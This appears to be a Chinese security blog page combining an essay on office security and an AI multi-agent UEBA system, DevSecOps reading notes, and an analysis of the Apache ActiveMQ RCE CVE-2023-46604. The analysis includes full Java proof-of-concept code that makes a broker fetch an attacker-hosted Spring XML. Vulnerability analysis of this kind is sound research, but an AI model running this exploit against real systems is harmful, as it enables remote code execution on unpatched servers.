弱小和无知不是生存障碍，傲慢才是。
[ 免责声明 / Disclaimer ] 请注意：本文完全由我的个人 AI 助手，在实时读取并分析了我近期的精神状态及血压波动后自动编译生成，非本人亲笔撰写。如果文中的某些字节不慎触碰了某些人脆弱的神经，请勿对号入座，更不要来找我。如有任何不满，请统一将投诉工单提交至“赛博龙虾委员会”（Cyber Lobster Committee）进行立案仲裁。 0x00 碎碎念与近况 确实有阵子没怎么更新博客了。 熟悉我的朋友大概都知道，我以前的精力基本都点在 AppSec 这块，搞搞漏洞、研究研究静态分析，平时写得最多的也是这方面的工具和轮子。但是最近这段时间，在未经我同意、甚至完全没有和我沟通的情况下，被强行调岗到了办公安全和数据安全的工位上。 说实话，技术领域的跨界倒不是最头疼的。真正让人窒息的是，有些管理层对这块业务根本就没有清晰的规划，主打一个一通乱搞。在一些毫无逻辑的对齐会里坐久了，感觉自己的技术敏锐度都要被磨平了。想想确实也很久没给自己做过阶段性的梳理了，正好最近也被 AI + Security 的浪潮推着走，干脆就借着这个契机，随便写写近期被这些烂事折腾出来的一些理解和感想。 主要是想聊聊在当前 AI 的加持下，我怎么看待一线安全负责人和“安全中台”的关系，以及在这个背景下，怎么真正把一线业务的防御体系落地。 0x01 薛定谔的违规与逻辑死锁 最近在办公安全这一块，这种“薛定谔的指标”玩得越来越溜。目前我建设的平台贡献了大约一半的违规事件发现，剩下的来自中台。但在某些管理者看来，这似乎并不是一种能力的体现。他们在会上直言“不想自己建设能力”，转头却又开始嫌弃部门的违规 case 数量太少。 这逻辑其实挺魔幻的：一边要求管控策略的覆盖面要比别人广，甚至恨不得把所有软件都禁了；一边又指望违规 case 蹭蹭往上涨。事实上，如果管控策略真的做到极致，所有的风险行为都在源头被阻断了，那数据上就该是零违规，这才是安全水位的最高体现。然而某些管理者盯着中台推送的那些毫无意义的月报指标乱叫，非要把“违规数量”和“安全水位”划等号。那些月报里充斥着懂行的人看一眼就想划走的噪音，却成了不懂行的人手里挥舞的指挥棒。 最让人无奈的是关于权限与责任的错位。作为一线安全负责人，我在项目里列了明确的能力建设规划，得到的答复是“不支持自己做，提需求给中台”。行，那我去提需求，结果又被要求先找中台“对齐”沟通。最后沟通下来的结果显而易见：中台对于特定的业务场景提不出任何建设性的思路，折腾一圈，最终的结论还是拿着我写的技术文档去走提单流程。 除了这些，更离谱的还有悬在头顶的 KPI 大棒。管理层动辄拿“抓不到内鬼就打 325”这种红线来压一线团队。抓内鬼本来是个极其吃底层基线和行为审计的硬核活儿，但回头看看他们强塞下来要求落地的那些所谓“商密项目”，全是在搞些浮于表面的流程和文件，和真正的内部威胁捕猎根本八竿子打不着。你要抓内鬼，不让建底层分析能力，反而天天盯着流程文档过家家，这不就是刻舟求剑么？ 这种“既要马儿跑，又要马儿不吃草，还要马儿自己去申请草料被拒绝后再自己种草”的内耗，除了消磨一线安全人员的精力，对真实的防御建设毫无产出。 0x02 AI 加持下：中台与业务线生产关系的重构 如果在以前，中台和业务线之间的扯皮基本无解。中台的规则引擎就那个死样，指望它既懂通用漏洞又懂你复杂的业务逻辑是不现实的。但现在 AI 浪潮来了，中台和业务线安全团队的“生产关系”必须发生根本性的变化。 我的理解是，中台不应该再试图维持那种“中央集权制”的防御堡垒，而是应该将自己的安全能力彻底原子化。未来的中台，应该把多年积累的威胁情报、扫描引擎、处置动作，以 MCP（Model Context Protocol）和 SKILL 的方式全面开放。中台退化为纯粹的“武器库”和“算力基座”。 顺着这个逻辑，其实引申出一个很现实的观点：在当前的 AI 浪潮下，一线业务安全团队必须放弃幻想，自己动手造轮子。 以前写防御组件门槛高，遇到搞不定的非标业务需求，只能拿着详尽的技术文档去中台排期，天天像个催工单的安全 PM 一样找中台“要饭”，最后等了半个月拿到的还不一定能用。但现在有了大模型的代码生成能力，配合中台开放的原子化 API，一线安全人员完全可以在几天内自己糊出一套最贴合业务现状的检测链路。如果你在这个时代还指望着中台能大包大揽、拯救你的业务水位，天天只知道提需求，那这路就算是走窄了。 拿我最熟悉的白盒（SAST）来举个例子。 现在研发用 AI 生成代码的速度，是以前的十几倍甚至几十倍。在这种恐怖的产出速度下，再搞什么集中式的代码扫描、跑大半天的流水线已经毫无意义了。安全必须绝对左移，直接移到研发的“端”上，并且由 AI 来接管。 承认现实吧，现在的 AI 实际上比部门里绝大多数所谓的“安全专家”都更懂 Spring Boot。大模型天生拥有海量的框架知识，我们不需要再让人肉专家去写死板的正则。一线安全真正要做的，是通过 SKILL 或者类似的渐进式机制，把每个代码仓库里特有的鉴权逻辑、加密特性当作上下文（Context）喂给 AI。当 AI 带着这些特定业务的 Context，在端上进行实时的代码审计时，它的表现将绝对碾压原本中台那种一刀切的集中式扫描。 更严峻的一个现实是：代码生成的门槛被 AI 彻底踩碎了。 现在不仅是专业研发，很多完全不懂技术的员工、外包甚至运营人员，也开始借助 AI 写工具、发布代码上线。这帮人的安全意识基本为零，连最基础的 SQL 注入和越权概念都没有，他们写出来的东西出问题的概率呈指数级上升。 在这种代码生成速度和低质量代码泛滥的双重夹击下，单纯靠几个安全工程师的“专家经验”去中台更新规则，早晚会被海量的告警和漏洞淹死。人力已经跟不上了，必须用魔法打败魔法。只有一线团队不再“要饭”，把能力握在自己手里，用 AI 去对付 AI 生成的垃圾代码，大家才能在这种算力暴增的时代里活下来。 0x03 纸上得来终觉浅 骂归骂，活还得干。既然决定了在一线造轮子，总得拿点实际的东西出来验证。 其实这个基于 AI 的轻量级 UEBA 系统，并不是那种周末突击糊出来的 Demo，前前后后我带人磨了将近一年的时间。毕竟 AI 这玩意儿在安全领域落地，坑实在太多，单靠写几行 Prompt 这种“奇技淫巧”根本走不远，必须得有一套扎实的工程架构去支撑。 一开始的想法很朴素：暴力美学。直接把告警系统里的单条日志提取出来，格式化成 YAML，写个 Prompt 塞给大模型去跑分析。这个阶段确实尝到了点甜头，AI 能抓出一些非常直白、特征明显的简单违规案例，比写一长串复杂的正则要省事得多。 但随着运营的深入，单条日志研判的瓶颈马上就暴露了。安全防御的核心永远是 Context。比如单独看一条“导出 500 条客户数据”的日志，你根本无法判定这到底是合规的业务跑批，还是离职前的拖库。你必须知道这个人前十分钟干了什么，后半小时是不是有文件外传动作。单条日志的维度太窄，根本无法完成违规事实的闭环确认。 既然单线程走不通，那就干脆上 Multi-Agent 架构。 我把整个研判逻辑重构了一下：由一个 Leader Agent 来作为“主控大脑”。当触发某个初始告警时，Leader Agent 的任务不是直接下结论，而是把这个涉事员工过去几个小时（甚至几天）内的全量日志捞出来，进行“任务规划”和“任务拆分”。比如，它会把“判定是否存在数据外泄风险”这个大任务，拆解为“分析该用户近期的权限变更流水”、“审查网络层的外联记录”等几个子任务，然后分发给底下的 Sub-Agent 去做并行分析。 整个系统虽然是 Multi-Agent 架构，但底下的每一个节点 Agent 都跑在极其标准的 ReAct 模式下。 当然，在实际工程落地中，我们遇到了一个极其现实的问题：Token 成本和执行效率。 在以前那种传统模式下，想对全公司所有人进行日量级的全量审计简直是天方夜谭，算力根本支撑不住。如果换成 Multi-Agent + ReAct，Token 的消耗和响应延迟更是灾难性的。为了解决这个问题，我加了一层前置的“初级过滤”机制。我们通过一些轻量级的静态规则或特征识别，把那些完全没有明显外发行为或异常特征的“老实人”日志直接过滤掉。只有真正命中某些风险敏感点、可能存在潜在关联的日志及其相关人员，才会被投喂给 Leader Agent 进行深度研判。这层“降噪平替”让系统在保证检出率的同时，把 Token 消耗和执行耗时压缩到了一个可以接受的工业级水平。 这里就不得不提大模型落地安全时最大的坑——“幻觉”。LLM 的推理能力确实惊艳，但让一个纯粹基于概率预测的语言模型去做精确计算（比如：帮我数一下这段时间他到底下载了多少 M 的文件），简直就是灾难，它会一本正经地给你胡说八道。 为了解决这个问题，我给这帮 Agent 挂载了一系列基于 MCP 的基础工具。Agent 不能直接凭借“感觉”下结论，如果遇到需要精确比对、数量统计的任务，它必须调用外部工具。比如调用 query_db 工具去跑一次真实的 SQL 拿日志行数，或者当遇到一段混淆代码时，让模型直接写一段反混淆脚本，调用 run_in_sandbox 工具扔进安全的沙箱里跑出结果，然后再把执行结果反馈给 Agent 继续推理。 把非确定性的推理交给大模型，把确定性的计算和执行交给代码与工具。这种基于 MCP 协议的 ReAct 循环，才是我磨了这一年多总结出来的真正灵魂所在。 0x04 尾声 回过头来看，搞这套 UEBA 的一年多时间，其实也是我自己进行心理建设的一年。 以前在应用安全领域，非黑即白，漏洞要么存在要么不存在。但切到办公安全和商密之后，面对的是极其模糊的人性，以及更加模糊、甚至充满“薛定谔逻辑”的管理体系。 刚开始的时候，确实会被那种“既不给资源、又要查内鬼、提个需求还要开会扯皮”的草台班子逻辑搞得极其内耗，甚至生理性反胃。 尤其是当你作为一个干了快十年的资深安全老兵，坐在会议室里，看着一个连 SQL 注入究竟是个什么东西都不知道的管理者，要向下指导你该怎么开展安全工作时——那种巨大的荒谬感和讽刺感，真的是瞬间拉满。 那一刻你就会彻底明白：不要试图用技术逻辑，去叫醒一个连基础常识都没有、只看 PPT 指标的管理者。你跟管理者讲真实水位，管理者跟你讲覆盖率；你跟管理者讲资源瓶颈，管理者拿 325 的绩效大棒压你。 既然如此，在这个 AI 算力大爆发的时代，我们最宝贵的资产就是自己的“脑力并发数”。 以后再开这种左右脑互搏的抽象对齐会，就当是听个白噪音吧。把自己的情绪和精力做个物理隔离，该糊轮子糊轮子，该研究大模型研究大模型。用代码和架构给自己建一道防火墙，把那些毫无意义的管理内耗全部挡在外面。 毕竟，草台班子的口号随时会变，外行指导内行的荒谬也会一直存在。但你亲手敲下的底层代码、跑通的 Agent 逻辑，以及这十年来沉淀的硬核技术，才是真正属于你的、谁也拿不走的护城河。
补充：好像已经有 CNVD 编号了：CNVD-2023-80853 CVE：CVE-2023-46604 从 Github 上的 commit 记录里，很容易找到那个疑似修补漏洞的 commit：https://github.com/apache/activemq/pull/1098/commits 经过简单的比对，发现新代码对 Throwable 类型进行了验证，保证只有 Throwable 类型的变量到达某个函数。我们直接拉源码看一看： /// org.apache.activemq.openwire.v12.BaseDataStreamMarshaller#createThrowable private Throwable createThrowable(String className, String message) { try { Class clazz = Class.forName(className, false, BaseDataStreamMarshaller.class.getClassLoader()); Constructor constructor = clazz.getConstructor(new Class[] {String.class}); return (Throwable)constructor.newInstance(new Object[] {message}); } catch (Throwable e) { return new Throwable(className + ": " + message); } } 不难看出，这里直接实例化并执行了某个类的构造函数，但是这个构造函数必须含有一个单 String 类型的参数。我们反向追以下，看看哪里调用了 createThrowable 方法，尝试寻找下入口： createThrowable tightUnmarsalThrowable or looseUnmarsalThrowable in class <MessageAckMarshaller / ExceptionResponseMarshaller / ConnectionErrorMarshaller> 这个调用链并不复杂，利用 IDEA 的 FindUsage 功能，可以轻松的找到入口，是三个消息类型的反序列化函数入口。 中间有两个函数 tightUnmarsalThrowable 和 looseUnmarsalThrowable ，实际功能无差别，取决于 ActiveMQ 的某个设置项决定在实际运行时调用哪个函数进行反序列化。 wireFormat.tightEncodingEnabled If enabled, optimize for smaller encoding on the wire. This increases CPU usage. It is enabled by default. 原理搞清楚以后，只需要构造对应类型的 Message 并发送就可以了，以 ConnectionError 为例： /// org.apache.activemq.openwire.v12.ConnectionErrorMarshaller#tightUnmarshal /** * Un-marshal an object instance from the data input stream * * @param o the object to un-marshal * @param dataIn the data input stream to build the object from * @throws IOException */ public void tightUnmarshal(OpenWireFormat wireFormat, Object o, DataInput dataIn, BooleanStream bs) throws IOException { super.tightUnmarshal(wireFormat, o, dataIn, bs); ConnectionError info = (ConnectionError)o; info.setException((java.lang.Throwable) tightUnmarsalThrowable(wireFormat, dataIn, bs)); info.setConnectionId((org.apache.activemq.command.ConnectionId) tightUnmarsalNestedObject(wireFormat, dataIn, bs)); } 从代码里不难看出，这里需要设置 ConnectionError中的 exception 字段，这个字段的内容则是通过 tightUnmarsalThrowable 获取的，那么我们只要构造一个 ConnectionError 消息，并设置好这个消息的 exception 字段，就可以触发了。 var msg = new ConnectionError(); msg.setConnectionId(new ConnectionId()); msg.setException(o); ((ActiveMQConnection) connection).getTransportChannel().oneway(msg); 除了 ConnectionError 外，另外两个也可以使用类似的方法构造。 特别注意的是，构造的时候 ClassPathXmlApplicationContext 需要自己覆写一个 fake class，需要继承 Throwable 才能正常构造 payload，而服务端在反序列化的时候，并未检查待实例化的类是否继承了 Throwable ，所以进而导致了这个 RCE 漏洞。 package org.example; import org.apache.activemq.ActiveMQConnection; import org.apache.activemq.ActiveMQConnectionFactory; import org.apache.activemq.command.ConnectionError; import org.apache.activemq.command.ConnectionId; import org.apache.activemq.command.ExceptionResponse; import org.apache.activemq.command.MessageAck; import org.springframework.context.support.ClassPathXmlApplicationContext; import javax.jms.Connection; import javax.jms.Session; public class Main { public static void main(String[] args) throws Exception { // String target = args[0]; // String xml = args[1]; String target = "tcp://127.0.0.1:61616"; String xml = "http://127.0.0.1:8000/poc.xml"; System.out.println(target); System.out.println(xml); ActiveMQConnectionFactory factory = new ActiveMQConnectionFactory(target); Connection connection = factory.createConnection(); connection.start(); Session session = connection.createSession(false, Session.AUTO_ACKNOWLEDGE); // POC 1: 使用 ConnectionError 类构造 POC // MessageProducer producer = session.createProducer(destination); Throwable o = new ClassPathXmlApplicationContext(xml); var msg = new ConnectionError(); msg.setConnectionId(new ConnectionId()); msg.setException(o); ((ActiveMQConnection) connection).getTransportChannel().oneway(msg); // POC2: 使用 MessageAck 构造 POC var msg2 = new MessageAck(); msg2.setPoisonCause(new ClassPathXmlApplicationContext(xml)); ((ActiveMQConnection) connection).getTransportChannel().oneway(msg2); // POC3: 使用 ExceptionResponse 构造 POC var msg3 = new ExceptionResponse(new ClassPathXmlApplicationContext(xml)); ((ActiveMQConnection) connection).getTransportChannel().oneway(msg3); connection.close(); } } /// file: org/springframework/context/support/ClassPathXmlApplicationContext.java package org.springframework.context.support; public class ClassPathXmlApplicationContext extends Throwable{ private String message; public ClassPathXmlApplicationContext(String message) { this.message = message; } public String getMessage() { return message; } }
Integrate Security Into Your DevOps Practices
上一篇文章的侧重点主要在讲如何 Secure DevOps Environments，而这一篇则更注重于如何在 DevOps 流程中融入安全属性。 当一个新的应用被创建的时候，大部分情况下都会默认包含一些稳定性的特性，例如限流、熔断、缓存、可弹性调度与部署，唯独少了安全。 安全应该是应用的内生属性，在应用创建的时候就应该具备的属性，Security By Default && Security By Design。 在这本小书中，作者提出了 6 个 TIPS 尝试将安全融入到 DevOps 的流程中，将安全变为一种默认就存在的属性。 原文链接：https://www.sogeti.com/explore/reports/6-tips-security-devops-white-paper/ TIP 1: Build A Security-first Culture Across The Business 在 DevOps 流程中，融入安全并不是简单的插入一些流程卡点或者自动化的工具检测。 应该是与开发、运维、测试等等团队一起共享信息，联合起来，才能让整个团队去 “拥抱” DevSecOps。 就像在有些开发团队会去讲一些“极客”文化，DevSecOps 也应该作为一种文化给所有的相关方去宣传，将这个概念深入到每个人的心里，才能有效的推动 DevSecOps 继续落实。 引用原文的一段话： DevSecOps starts with the people. You do not “implement” DevSecOps, you embrace it. And for that to happen, your organization needs to adopt a DevSecOps culture while “living and breathing” it, via executive buy-in. For success, you’ll need the entire organization, not just the IT people, product teams, and project managers. Revitalize Your Training Efforts 培训的主要目的是让各方人员明白其在 DevSecOps 中扮演的角色以及需要配合事情，并提高所有相关方的安全意识。 DevSecOps 的推行需要时间发展，无法做到立竿见影，所以最好取得技术管理层的支持，从上至下的去推动发展。 可以选取一些意向程度高的团队合作，产出一个样板团队，在其中配备一个接口人，及时判断业务中是否存在安全风险并与安全团队进行沟通。 Kickstart A Strong InnerSource Community 说实话这部分内容没太看明白，根据自己的理解记录一下。 除了通过培训让员工建立安全意识是远远不够的，需要一个类似“安全社区”一样的地方，可以让员工共享、交流各类安全体系架构、安全修复代码等内容。 有点像在公司内部建立一个技术论坛之类的系统，用于员工之间交流技术。 TIP 2: Integrate Security In The Early Stages Of The Development Lifecycle 这一部分的核心观点是老生常谈的“安全左移”，尽量将安全能力集成到软件开发的早期，而不是等到系统上线后再进行各种安全测试。 网络上关于安全左移的资料也非常多，这部分内容不再赘述了。 作者在这里提出两个方案，简单讲一下。 Move From Batch Scanning To Continuous Assessments And Compliance Checks 这一点目前稍微大一些的公司应该都是这种模式，将传统的事后批量扫描，移动到开发、测试过程中，将一次性的扫描变为持续性的常规扫描。 作者在这里列举了几个扫描时应该注意的地方： Find common vulnerabilities and exposures (CVEs)：常规漏洞检查 Expand your scans for compliance：合规检查 Manage by the metrics：生成报告，评估安全水位 Detect early, fix early：发现越早修复越早 Automate processes：自动化流程 Improve the traceability：确保流水线中每一步的产出都可用于审计或数据分析 Use quality gates to ensure compliance：若检出漏洞或风险，需修复后才能继续构建部署 其中有一点 “Improve the traceability” 比较有趣。目前很多公司的流程或是实践中，在这一部分其实没有特别多的要求，基本思路都是检出漏洞或风险，分配到研发人员修复。 有意思的是，检测工具产出的基本都是漏洞或风险，并没有其他的额外数据了。然而无论是对于白盒 SAST 还是黑盒 DAST 而言，都可以产出除了漏洞以外其他更有价值的数据，并将这些数据整理入库存储，就像供应链安全的漏洞库或资产库一样。 目前看起来大部分公司的安全团队似乎都没有意识到这一点，仍然将黑白盒当做传统的检测工具在使用，反而是在国外的一些创业乙方公司有看到类似的产品。 Evaluate Code Quality And Harden Security With Continuous Static And Dynamic Analysis 关于持续扫描这部分作者介绍的比较精炼，但是实际上 SDL 中的检测部分完全可以写一本小书来说明相关的内容。 这部分的核心思想还是构建一套完整的工具集对代码与系统进行持续性的扫描。作者提出了一些需要考虑的点： Scan for vulnerabilities daily Incorporate a dependency checker Search your container images Remember to scan infrastructure Form a comprehensive analysis TIP 3: Monitor And Observe Continuously With Purpose 这部分用白话来讲，就是记录好各种系统产生的日志，并持续运营日志，从中发现可能存在的威胁。 这里作者对成功有效的监控有4项要求，下面展开讲讲 Form A Complete Picture With Structured Data 这部分主要观点是：全量收集各种日志数据往往是不够的，还需要进一步对这些日志进行整理。 这里提到的整理比较宽泛，包括：剔除冗余数据，标准化日志结构等等。 在必要的时候可以引入机器学习等手段自动化整理日志。 Leverage Machine Driven Monitoring For Analysis And Reporting 这部分作者提出了 “Machine Driven Monitoring” 的概念，尝试用白话解释一下。 我们在上一个步骤中，已经获取了大量的系统日志，然而这些日志仅仅依靠人肉来识别是完全不可能的。 这时就需要通过各种方法聚合、筛选、分析日志中可能包含的风险信息，例如日志分析程序发现了三个单独均不会引发告警的事件，但是当这三个事件同时出现的时候，就有可能需要告警出一个大的风险。 这里就可以引入各种机器学习、AI等方法，协助从海量的告警信息中发现有用的数据。 Combine Actionable Alerts With Threat Intelligence To Enable Proactive Security 作者提到，企业可以结合威胁情报来衡量潜在的安全风险和已记录的风险，然而这一项可能对国内大多数企业而言要求都太高了。 通过与威胁情报相结合，可以补充日志中不存在的信息，例如 IOCs、TTPs 等等，尽可能的提前发现威胁来源并做出针对性的响应。 Incorporate A Robust Toolchain Built For Modern Threats 这部分看起来似乎是在给 Azure 安全产品、工具集引流。作者主要想阐述在企业内需要一套可靠的安全产品集、工具链等等。这部分内容就不再展开讲述了。 TIP 4: Embrace Everything-as-code 将一切都视为代码。看起来可能非常不可思议，然而应用安全越做体会越深。 随着开发人员变更配置、变更基础设施等任务变得越来越频繁的时候，会逐步的将一切用类似代码的形式体现出来，固化出流程，这些从某些意义上来说，就是一种代码，只不过不是用我们常见熟悉的编程语言实现的而已。 Start Your Transformation With Infrastructure-as-code 基础设施即代码是一个很好的开始，很多企业都会逐步通过 IaC 替换研发人员的手工管理基础设施的情况。 当企业实现了 IaC 之后，很多基础设施的安全问题都可以通过自动化的扫描工具发现，例如 OSS 的配置问题，如果没有 IaC，需要研发人员针对每一个 Bucket 逐一排查，而 IaC 之后，就可以批量实时的扫描 OSS 配置以及变更了。 Adopt Immutable Infrastructure 作者提出在实践 IaC 之后仍然会存在其他的问题，例如随着时间推移，会发生配置漂移的情况。 简单来说，当应用创建部署后，当时的配置项是安全的，但是随着时间推移，配置项、基础设施等可能会因为各种原因被人为修改。这也意味着每次重新部署后，各种配置项或基础设施需要重新配置。 对于这种情况，作者提出了使用不可变基础设施的方案，即每次配置变更不是推送到 VM 中，而是创建一个包含新配置的 VM 替换原有的 VM。这样每次在部署的时候可以针对 VM 进行完整的安全检测。 除此之外还有两个好处： 对安全审计非常有帮助，当出现新的 CVE 时，安全人员可以重建一个新的基础镜像，并将其推送到新的集群中；（需要考虑稳定性问题） 安全人员可以追踪这些基础镜像或基础设施是如何一步步变更的，可以看到每一次的更改； Store Code In A Secure Version Control System 这部分比较简单明了，不再赘述了。 Setup Configuration-as-code 配置文件即代码，作者提到了一种方案，将配置检查与 Ansible 的自动化功能相结合，每当发生部署填充配置的时候，就可以自动化的检查配置项中的各类安全风险。 Implement Pipeline-as-code 这一点个人感觉有点硬蹭的意思。主要观点是将发布过程的流水线也作为代码存储起来，这样安全团队可以追踪、插入各种安全活动到流水线中。 保证每次开发人员进行发布的时候，使用的都是含有安全检查、安全加固等功能的流水线。 TIP 5: Realize Compliancy With Policy Automation 略。 TIP 6: Secure And Visualize Your Software Supply Chain 依然是供应链问题，作者提到了两点，放在一起来说 Act On Insights Gathered By Dependency Tree Visualization Grow Transparency With A Software Bill Of Material (SBOM) 这里提到了要将供应链的数据可视化，方便快速从数据中挖掘信息。关于这一点其实有些仁者见仁智者见智的味道，是否可视化、怎么可视化、可视化展示什么数据，都需要根据实际的分析项目决定。 与可视化相比，更重要的还是将供应链的数据完整保存起来，将每个项目的供应链透明出来，一来方便与开发团队沟通，二来无论是可视化分析还是做其他的检查，都可以做到信手拈来。
Secure DevOps Environments 最近看了一本小书《Secure DevOps Environments》，觉得有些观点非常有趣，简单记录一下。 文章中提到了一个非常有意思的词和观点，即：shift-left hacker 。文章中指出，目前攻击者已经不仅仅把目标设定在应用程序上，已经开始左移了，逐步把精力放到研发人员的开发环境、构建环境等等，并给出了几个不同阶段的实际攻击案例。 针对这种情况，MS 和 Sogeti 提出了一种方案来保护 DevOps 环境，虽然文章的最终目的可能是为了给 Sogeti 引流，但是文章中提出的一些建设思路和观点还是值得借鉴的。 原文链接：https://azure.microsoft.com/zh-cn/resources/securing-enterprise-devops-environments/ 全文一共分为四个部分，分别是： 保护开发人员环境 (Secure The Developer Environment) 保护企业 DevOps 平台环境 (Secure The Enterprise DevOps Platform Environment) 保护应用环境 (Secure The Application Environments) 保护企业 DevOps 最佳实践 (Secure Enterprise DevOps In Practice) 这里简单的把大标题总结成了一张脑图： 按照四大部分简单总结一下文章内容。 Part I: Secure The Developer Environment 作者抛出了一个观点，对于开发人员来说，通常更想要高权限的账户、强大的、可定制的开发环境，这通常对开发人员提升效率有很大的帮助。实际情况也确实如此，开发过程中需要频繁测试或者修改代码，如果每次部署或测试都需要申请一大堆复杂的权限，或者开发环境非常难用，确实会降低开发效率。 基于这些情况，开发环境往往具有更高的权限以及更高的攻击价值，开发环境也逐步被 Shift-Left Hacker 盯上，作者也给出了一个发生在 2021 年 XCodeSpy 的真实攻击案例：https://thehackernews.com/2021/03/hackers-infecting-apple-app-developers.html 作者提出了 5 个方案/观点尝试对开发环境进行一些保护，下面简单展开讲一下。 Control The Developer Environment With A Cloud Environment 这部分作者提出尽量使用虚拟方案来建设开发环境，充分利用云资源的弹性、灵活的机制，随用随销毁。这样即便攻击者通过某些方式获取到了开发环境的权限，也没有足够的时间开展更多的攻击活动。但是这种方案有两个挑战：1. 很多团队可能不具备使用云创建、销毁、管理云虚拟机的专业知识。2. 频繁的创建销毁云资源对于成本管理是一项较大的挑战。 实际情况里，应该很少有企业能做到这种方案，但是如果针对部分高敏感的团队或部门实施这个方案，也许可行。 Secure The Developer Environment With Containers 这个其实是上一个方案的强化，即使用容器代替虚拟机，需要注意的是，容器的镜像需要企业自行维护，而不是使用各种公开镜像，以防出现各种供应链风险。 这里作者给了一个例子，即使用 Github Codespace ，在这个环境下开发代码时，Github 会为每一个开发人员分配一个单独的容器，用完就会销毁。 Configure Least Privilege Access Most developers want to have administrator privileges to the environments and tools they use, but with great administrative privilege comes a great security challenge. 最小权限原则，已经被说烂了，但是真正能做到的企业却是少之又少。原因已经在前面讨论过了，开发人员往往更多的为了方便与高效，会尽可能的要求高权限，这就与最小权限原则互斥了。 这里作者提到了两个点，分别是使用统一的 SSO 对从 Web 端代码库的行为进行管控，另外一点就是使用受控制的 SSH KEY 来访问用户被授予相关权限的代码仓库，甚至这个 SSH KEY 可以由企业统一生成管理，不接受用户自己生成的密钥对。 Limit Who Can Change And Approve Code With Branch Security 这里主要观点是引入“分支管理策略”来限制开发人员引入新代码到代码库中，例如仅允许指定的人员向某个分支推送、合并代码，每次合并代码之前需要由指定人进行 CR，只有经过审计的代码才能合并到代码库中，这样一来，除非少部分管理员或CR人员的账号被盗用的时候，才能将恶意代码引入到代码库中，大大增加了攻击者植入后门代码的难度。 Adopt Only Trusted Tools, Extensions, And Integrations 这一点感觉国内很多公司都忽视了，即保证开发人员使用的 IDE 工具、IDE 上的插件是可信的。目前大部分情况下，开发人员都是直接从插件市场安装各种插件来提高开发效率，但是这就像各个语言的包管理工具一样，如果混入了恶意的插件进去，攻击者可以完全控制开发人员的开发机器，目前针对这方面的检测似乎也比较少见。 Part II: Secure The Enterprise DevOps Platform Environment 现代企业一般都依赖于成熟的流水线完成代码构建和部署，很多情况下传统的应用安全可能会忽视这部分环境，而这部分环境对于攻击者来说，往往具有更大的诱惑。 一般来说，构建环境里可能会存在很多敏感信息，包括代码本身、构建代码时需要填充的配置、各种拉去代码的密钥等等。 But now, with hackers shifting left and targeting these upstream tools, a new approach is needed to secure DevOps platform environments. 这里作者列举了 Codecov 的真实被攻击案例：https://www.zdnet.com/article/codecov-breach-impacted-hundreds-of-customer-networks/ 对于这部分作者给出的方案或观点，简单介绍一下。 Ensure No Team Member Has Access To Secrets And Certificates 这里主要还是聚焦在权限问题，需要确保无关人员（无人员）可以访问到代码在生产环境中真实用到的各种密钥和证书。 主要思路是使用类似“统一密钥管理中心”之类的产品，统一管理密钥，只有在生产环境的代码，可以通过特定的方式访问到其中存储的密钥，也只能访问到当前系统被授予对应权限的密钥。 Automate Scans For Infrastructure-as-Code (IaC) Templates 随着基础设施也逐渐变成了一种“代码”，对于这类 IaC 环境进行自动化扫描也逐渐变得非常必要了。需要关注其中的各种配置错误、访问控制策略等等问题。一旦这些环境被部署到生产环境上，如果没有正确的访问控制，攻击者可能会较为轻松的连接到这些环境中。 Equip Every DevOps Platform Environment WIth Audit Trails 大部分情况下，传统的应用安全会更多的关注已上线系统的各种日志，但是对于 DevOps 平台、环境中的日志可能会有所欠缺。 而 DevOps 平台、环境中的日志可能会提供更多额外的价值，尽早的发现是否有攻击者在尝试植入后门、滥用权限等等操作。 日志记录中尽可能包含以下数据： 这个操作发生在哪个团队/组织中 哪位用户/账号触发的这个操作 在哪个代码仓库中触发的这个操作 具体执行了什么操作 这个操作的影响范围有多大 操作发生的详细时间 除此之外，还可以记录一些与企业、平台、业务特有的事件。这些日志最终应当被完整的审计（自动化、人工等），尝试从中识别出可能存在的各种安全风险。 Automate Approval Workflows 这部分主要观点是对于推送代码到生产环境等事件，需要进行审批，不能由开发人员自行推送任意代码到生产环境。 对于这一点，有些公司可能存在发布流程，仅允许在指定时间段发布，并且发布前有固定人员进行 CR 检查（大概率不是安全人员）。 咨询了我的某位曾在某头部互联网公司任职过的朋友，他们公司严格执行了发布前由安全人员对发布内容进行 CR 的策略。效果显著但成本巨大，确实极大的减少了线上的漏洞，但是也加重了安全人员的工作量（每天至少花费5个小时在 CR 上，至少工作到半夜12点）。这个方案还是要看实际的 ROI 来决定了。 Secure The Software Supply Chain 这一点应该就比较熟悉了，这几年国内也炒的火热供应链安全。在这个方面也是有很多的挑战，以后有机会可以展开单独讲讲。 Allow Only Verified DevOps Tool Integrations 这一点可能很多企业都是用不上的，字面意思，仅允许在 DevOps 平台上集成可信的工具。 大部分情况下企业内自建的发布平台，都有固定的发布流程和构建工具，很少有给开发人员自定义构建工具的情况。 作者使用了 Github Actions 举例，在 Github 上面，可以控制允许执行哪些 Actions，例如仅允许指定范围的 Actions 运行，可以大大的降低攻击面。 Part III: Secure The Application Environments 这一部分主要讲的还是应用安全，然而这部分私以为按照 SDL 展开会更好。作者并没有从 SDL 的角度出发，而是继续按照 DevOps 的角度继续描述的。 这一部分作者的主要观点在于，很多情况下，即使是开发环境、测试环境，可能也会持有大量的线上真实数据，或者一些其他的敏感信息，在做应用安全的时候，并不能因为这是个生产环境就忽视这个环境内的安全风险。开发测试环境同样有机会被攻击者访问到，同样会造成严重的安全问题。 这里提出了一个名词 landing-zone ，其实不太理解是什么意思，个人简单的假设为就是线上环境，即应用代码真实的部署环境。 在这部分中，作者提到了 SolarWinds 的真实被攻击案例：https://www.npr.org/2021/04/16/985439655/a-worst-nightmare-cyberattack-the-untold-story-of-the-solarwinds-hack Leverage Well Architected Framework (WAF) For Landing Zone Provisioning 这里作者用到了个缩写 WAF，此 WAF 并不是 Web Application Firewall 的意思，个人不太喜欢这个缩写，有点造名词硬蹭的感觉。 这部分其实总结下来，就是应用需要一个好架构。比如需要包括：身份识别与访问控制、威胁保护、云安全、信息保护、信息合规、内部风险管理、发现与响应等等，顺便推了一波自家的 InnerSource 产品，说白了还是应用安全那一套，这里就不再继续展开讲了。 Lock Down Environments With Segmentation 个人感觉这里讲的内容更像是安全域划分和网络隔离相关的。主要有三块： Setup Management Groups Isolate Environments Segment Application Workloads 从各种意义上看起来都很像网络隔离，主要目的还是为了防范攻击者进入到内部后可以大规模的横向渗透。 Provide Security Teams With Visibility Into Delivery Pipelines 这部分内容更多的时关注扫描结果的透明化，即与 DevOps 团队共享扫描结果，从而与 CTO 